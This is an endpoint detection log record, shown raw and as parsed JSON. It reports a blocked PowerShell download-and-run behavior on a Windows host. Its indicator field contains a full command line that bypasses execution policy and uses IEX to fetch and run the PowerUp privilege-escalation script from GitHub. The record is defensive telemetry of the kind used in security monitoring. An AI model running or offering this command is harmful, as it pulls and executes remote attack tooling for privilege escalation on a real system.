WitFoo-Artifact ::: message={"device_id":"dfbb62cf44104a3d85ad81cfd5bebb3c","timestamp":"2023-08-29T16:44:43Z","template_instance_id":"4712","behavior_id":"10166","filename":"powershell.exe","filepath":"\\Device\\HarddiskVolume1\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","alleged_filetype":"exe","cmdline":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" ","scenario":"attacker_methodology","objective":"Follow Through","tactic":"Execution","tactic_id":"TA0002","technique":"PowerShell","technique_id":"T1059.001","display_name":"PShellDownloadRun","description":"A PowerShell process downloaded and launched a remote file. This is often the result of a malicious macro designed to drop a variety of second stage payloads. Review the command line.","severity":70,"confidence":80,"ioc_type":"command_line","ioc_value":"powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks","ioc_source":"interactive_script","ioc_description":"","user_name":"janedoe","user_id":"S-1-5-21-1959957726-1537299114-1298153393-94611","control_graph_id":"ctg:dfbb62cf44104a3d85ad81cfd5bebb3c:674310045728","triggering_process_graph_id":"pid:dfbb62cf44104a3d85ad81cfd5bebb3c:674754830254","sha256":"N/A","md5":"N/A","parent_details":{"parent_sha256":"e1ea06c6884a2ceb9dd0efeb788011ab2b17041f1c7438a9555415501e9e374c","parent_md5":"c6cd12bf63e9b9b4478e6f975e7c293d","parent_cmdline":"C:\\Windows\\Explorer.EXE","parent_process_graph_id":"pid:dfbb62cf44104a3d85ad81cfd5bebb3c:674712003826"},"pattern_disposition":1024,"pattern_disposition_details":{"indicator":false,"detect":false,"inddet_mask":false,"sensor_only":false,"rooting":false,"kill_process":false,"kill_subprocess":false,"quarantine_macmeine":false,"quarantine_file":false,"policy_disabled":false,"kill_parent":false,"operation_blocked":true,"process_blocked":false,"registry_operation_blocked":false,"critical_process_disabled":false,"bootup_safeguard_enabled":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"kill_action_failed":false,"blocking_unsupported_or_disabled":false,"suspend_process":false,"suspend_parent":false}} ::: clientIP=127.117.112.11 ::: fileHash=N/A ::: fileName=powershell.exe ::: filePath=\Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ::: userName=janedoe ::: clientMAC=0edeb6ae9241 ::: created_at=2023-08-29T16:44:43Z ::: streamName=Crowdstrike Detection ::: messageType=endpoint_protection_event ::: pipelineName=Crowdstrike Detection ::: severityCode=4 ::: startTimeUTC=2023-08-29T16:44:43Z ::: clientHostname=NVIINFRDEVAPP02.devnvi.acmeint.com ::: pipelineEntrypoint=dispatch
{
    "clienthostname": "NVIINFRDEVAPP02.devnvi.paygoint.com",
    "clientmac": "0edeb6ae9241",
    "filehash": "N/A",
    "filename": "powershell.exe",
    "filepath": "\\Device\\HarddiskVolume1\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "message": "WitFoo-Artifact ::: message={\"device_id\":\"dfbb62cf44104a3d85ad81cfd5bebb3c\",\"timestamp\":\"2023-08-29T16:44:43Z\",\"template_instance_id\":\"4712\",\"behavior_id\":\"10166\",\"filename\":\"powershell.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"alleged_filetype\":\"exe\",\"cmdline\":\"\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" \",\"scenario\":\"attacker_methodology\",\"objective\":\"Follow Through\",\"tactic\":\"Execution\",\"tactic_id\":\"TA0002\",\"technique\":\"PowerShell\",\"technique_id\":\"T1059.001\",\"display_name\":\"PShellDownloadRun\",\"description\":\"A PowerShell process downloaded and launched a remote file. This is often the result of a malicious macro designed to drop a variety of second stage payloads. Review the command line.\",\"severity\":70,\"confidence\":80,\"ioc_type\":\"command_line\",\"ioc_value\":\"powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks\",\"ioc_source\":\"interactive_script\",\"ioc_description\":\"\",\"user_name\":\"janedoe\",\"user_id\":\"S-1-5-21-1959957726-1537299114-1298153393-94611\",\"control_graph_id\":\"ctg:dfbb62cf44104a3d85ad81cfd5bebb3c:674310045728\",\"triggering_process_graph_id\":\"pid:dfbb62cf44104a3d85ad81cfd5bebb3c:674754830254\",\"sha256\":\"N/A\",\"md5\":\"N/A\",\"parent_details\":{\"parent_sha256\":\"e1ea06c6884a2ceb9dd0efeb788011ab2b17041f1c7438a9555415501e9e374c\",\"parent_md5\":\"c6cd12bf63e9b9b4478e6f975e7c293d\",\"parent_cmdline\":\"C:\\\\Windows\\\\Explorer.EXE\",\"parent_process_graph_id\":\"pid:dfbb62cf44104a3d85ad81cfd5bebb3c:674712003826\"},\"pattern_disposition\":1024,\"pattern_disposition_details\":{\"indicator\":false,\"detect\":false,\"inddet_mask\":false,\"sensor_only\":false,\"rooting\":false,\"kill_process\":false,\"kill_subprocess\":false,\"quarantine_macmeine\":false,\"quarantine_file\":false,\"policy_disabled\":false,\"kill_parent\":false,\"operation_blocked\":true,\"process_blocked\":false,\"registry_operation_blocked\":false,\"critical_process_disabled\":false,\"bootup_safeguard_enabled\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"kill_action_failed\":false,\"blocking_unsupported_or_disabled\":false,\"suspend_process\":false,\"suspend_parent\":false}} ::: clientIP=127.117.112.11 ::: fileHash=N/A ::: fileName=powershell.exe ::: filePath=\\Device\\HarddiskVolume1\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ::: userName=janedoe ::: clientMAC=0edeb6ae9241 ::: created_at=2023-08-29T16:44:43Z ::: streamName=Crowdstrike Detection ::: messageType=endpoint_protection_event ::: pipelineName=Crowdstrike Detection ::: severityCode=4 ::: startTimeUTC=2023-08-29T16:44:43Z ::: clientHostname=NVIINFRDEVAPP02.devnvi.acmeint.com ::: pipelineEntrypoint=dispatch",
    "messagetype": "endpoint_protection_event",
    "productids": [
        7
    ],
    "senderhost": "kafka.precinct",
    "sensitivity": "normal",
    "severitycode": 4,
    "severitylabel": "warning",
    "sourceinfo": "unknown",
    "starttimeutc": "2023-08-29T16:44:43Z",
    "tags": [
        "Crowdstrike Detection",
        "endpoint_protection_event"
    ],
    "streamName": "Crowdstrike Detection",
    "clientIP": "127.117.112.11",
    "userName": "janedoe"
}